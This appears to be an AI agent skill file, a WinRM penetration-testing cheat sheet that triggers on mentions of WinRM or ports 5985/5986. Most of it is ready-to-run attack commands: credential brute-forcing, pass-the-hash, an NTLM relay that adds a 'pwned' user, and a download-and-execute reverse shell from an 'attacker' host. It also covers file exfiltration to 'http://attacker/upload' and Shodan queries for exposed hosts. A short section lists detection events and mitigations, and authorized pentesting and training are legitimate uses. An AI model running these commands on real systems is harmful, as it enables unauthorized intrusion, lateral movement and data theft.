| name | winrm-pentesting |
| description | How to pentest Windows Remote Management (WinRM) on ports 5985/5986. Use this skill whenever the user mentions WinRM, Windows remote management, ports 5985 or 5986, PowerShell remoting, evil-winrm, WS-MAN, or needs to connect to/execute commands on Windows systems remotely. This includes brute-forcing WinRM credentials, pass-the-hash attacks, NTLM relay to WinRM, and lateral movement via WinRM. |
WinRM Pentesting
Windows Remote Management (WinRM) is a Microsoft protocol that enables remote management of Windows systems through HTTP(S) on ports 5985 (HTTP) and 5986 (HTTPS). It leverages SOAP and is powered by WMI, essentially providing an HTTP-based interface for WMI operations.
Quick Start
test-wsman <target-ip>
evil-winrm -i <IP> -u <username> -p '<password>'
evil-winrm -i <IP> -u <username> -H <hash>
crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt
Testing WinRM Configuration
From Windows (PowerShell)
# Test if target has WinRM configured
Test-WSMan <target-ip>
# Expected output for configured target:
# ProtocolVersion: WS-Management 1.3
# ProductVersion: Microsoft Windows Operating System
# SchemaVersion: http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd
From Linux
python3 -c "from psrp.client import Client; c = Client('target', username='user', password='pass'); print(c.execute_cmd('whoami').std_out.decode())"
winrm id -r:https://target:5986/wsman -u:username -p:password
Connection Methods
evil-winrm (Ruby)
gem install evil-winrm
evil-winrm -i <IP> -u <username> -p '<password>'
evil-winrm -i <IP> -u <username> -H <ntlm_hash>
evil-winrm -i <IP> -u <username> -k --spn HTTP/<IP>
evil-winrm -i <IP> --cert-pem cert.pem --key-pem key.pem
evil-winrm -i <IP> -u <username> -p '<password>' -L session.log
evil-winrm -i <IP> -u <username> -p '<password>' -N
PowerShell Remoting (Windows)
# Test connection
Test-WSMan <target>
# Execute single command
Invoke-Command -ComputerName <target> -ScriptBlock {ipconfig /all} -Credential <domain>\<user>
# Execute local function remotely
Invoke-Command -ComputerName <target> -ScriptBlock ${function:myfunction} -ArgumentList "args"
# Execute script file
Invoke-Command -ComputerName <target> -FilePath C:\path\to\script.ps1 -Credential <domain>\<user>
# Get interactive session
Enter-PSSession -ComputerName <target> -Credential <domain>\<user>
# With local user (note the ".\")
$password = ConvertTo-SecureString 'password' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential(".\username", $password)
Enter-PSSession -ComputerName <target> -Credential $creds
# Bypass proxy
Enter-PSSession -ComputerName <target> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save and restore session
$sess = New-PSSession -ComputerName <target> -Credential $creds
Enter-PSSession $sess
# Later restore:
Enter-PSSession -Session $sess
# Background session (don't close)
Exit-PSSession # Leaves session in background if stored in variable
crackmapexec (Linux)
crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt
crackmapexec winrm <IP> -d <domain> -u <user> -p '<password>' -x "whoami"
crackmapexec winrm <IP> -d <domain> -u <user> -H <hash> -X '$PSVersionTable'
pypsrp (Python)
from psrp.client import Client
c = Client('target', username='DOMAIN\\user', password='password')
print(c.execute_cmd('ipconfig /all').std_out.decode())
c = Client('target', username='DOMAIN\\user', password='password', ssl=True)
c = Client('target', username='DOMAIN\\user', kerberos=True)
c.execute_ps('Get-Process | Select-Object -First 5')
Advanced Techniques
NTLM Relay to WinRM (Impacket)
Since Impacket 0.11 (May 2023), you can relay NTLM credentials directly to WinRM:
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support
WSMan COM Object (Constrained Language Mode)
When PowerShell is constrained, use the WSMan.Automation COM object:
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://target:5985/wsman', 0, $null)
$cmdId = $session.Command('cmd.exe', @('/c', 'whoami'))
$session.Signal($cmdId, 0)
$session.GetResults($cmdId)
Reverse Shell via WinRM
Invoke-Command -ComputerName <target> -ScriptBlock {
cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://attacker:8080/shell.ps1')"
}
Ruby WinRM Shell
require 'winrm-fs'
conn = WinRM::Connection.new(
endpoint: 'https://IP:5986/wsman',
transport: :ssl,
user: 'username',
password: 'password',
no_ssl_peer_verification: true
)
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
output = shell.run('whoami')
puts output.std_out
file_manager.upload('local.txt', 'C:\\temp\\remote.txt')
end
Enabling WinRM on Target
If WinRM isn't configured, you can enable it:
# On the target machine
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
# Remotely via WMIC
wmic /node:<target> process call create "powershell enable-psremoting -force"
# Remotely via PsExec
PsExec.exe \\target -u domain\user -p password -h -d powershell.exe "enable-psremoting -force"
Common Errors and Solutions
TrustedHosts Error
"The WinRM client cannot process the request... the destination machine must be added to the TrustedHosts configuration setting"
Solution:
# On the client machine
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="target1,target2,*"}'
# Or via PowerShell
Set-Item wsman:\localhost\client\trustedhosts *
Constrained Language Mode
If you get errors about constrained language, the target has PowerShell execution policies restricting script execution. Use:
- WSMan COM object approach
evil-winrm with -e flag to specify execution policy
- Direct command execution instead of scripts
IPv6 Connections
For evil-winrm with IPv6, add an entry to /etc/hosts:
echo "<ipv6-address> target.domain" | sudo tee -a /etc/hosts
evil-winrm -i target.domain -u <user> -p '<password>'
Detection and Evasion
Detection Events
Monitor these Windows Event IDs:
| Event ID | Log | Description |
|---|
| 91 | WinRM/Operational | Shell created |
| 163 | WinRM/Operational | Shell created (alternative) |
| 182 | WinRM/Operational | Authentication failure |
| 4262 | Security | WinRM connection (source IP) |
Mitigations to Check
# Check if HTTP listener is disabled (good for defense)
Get-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener
# Force HTTPS only
Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false
# Enable Extended Protection for Authentication
Set-Item WSMan:\localhost\Service\Auth -Value @{Basic="false"; Digest="false"; Kerberos="true"; Negotiate="true"; Certificate="true"; CredSSP="true"; CbtHd="true"; AllowUnencrypted="false"}
Recent Vulnerabilities
CVE-2021-38647 (OMIGOD)
Azure Linux agents with OMI (Open Management Infrastructure) versions < 1.6.8-1 have unauthenticated RCE:
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml payload>'
Mitigation: Patch OMI or block ports 5985/5986 from internet.
Shodan Search
port:5985 Microsoft-HTTPAPI
port:5986 Microsoft-HTTPAPI
File Operations
Upload Files
# Via evil-winrm
upload local_file.txt C:\temp\remote.txt
# Via PowerShell
Invoke-Command -ComputerName <target> -ScriptBlock {
$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile('http://attacker/file.exe', 'C:\temp\file.exe')
}
# Via pypsrp
from psrp.client import Client
c = Client('target', username='user', password='pass')
c.upload_file('local.txt', 'C:\temp\remote.txt')
Download Files
# Via evil-winrm
download C:\temp\file.txt ./local_file.txt
# Via PowerShell
Invoke-Command -ComputerName <target> -ScriptBlock {
$webClient = New-Object System.Net.WebClient
$webClient.UploadFile('http://attacker/upload', 'C:\temp\file.txt')
}
Best Practices
- Always test connectivity first with
Test-WSMan before attempting connections
- Use HTTPS (5986) when available for encrypted communication
- Be careful with brute-forcing - it can lock accounts or trigger alerts
- Save sessions when possible to avoid re-authentication
- Check for constrained language mode if scripts fail to execute
- Monitor for detection - WinRM events are logged and can be centralized
- Use proper credentials - domain credentials work better than local for lateral movement
Quick Reference
| Task | Command |
|---|
| Test WinRM | Test-WSMan <target> |
| Connect (evil-winrm) | evil-winrm -i <IP> -u <user> -p '<pass>' |
| Connect (hash) | evil-winrm -i <IP> -u <user> -H <hash> |
| Brute force | crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt |
| Execute command | Invoke-Command -ComputerName <target> -ScriptBlock {whoami} |
| Interactive shell | Enter-PSSession -ComputerName <target> |
| NTLM relay | ntlmrelayx.py -t wsman://<target> |
| Upload file | upload local.txt C:\temp\remote.txt (evil-winrm) |
| Download file | download C:\temp\file.txt ./local.txt (evil-winrm) |
References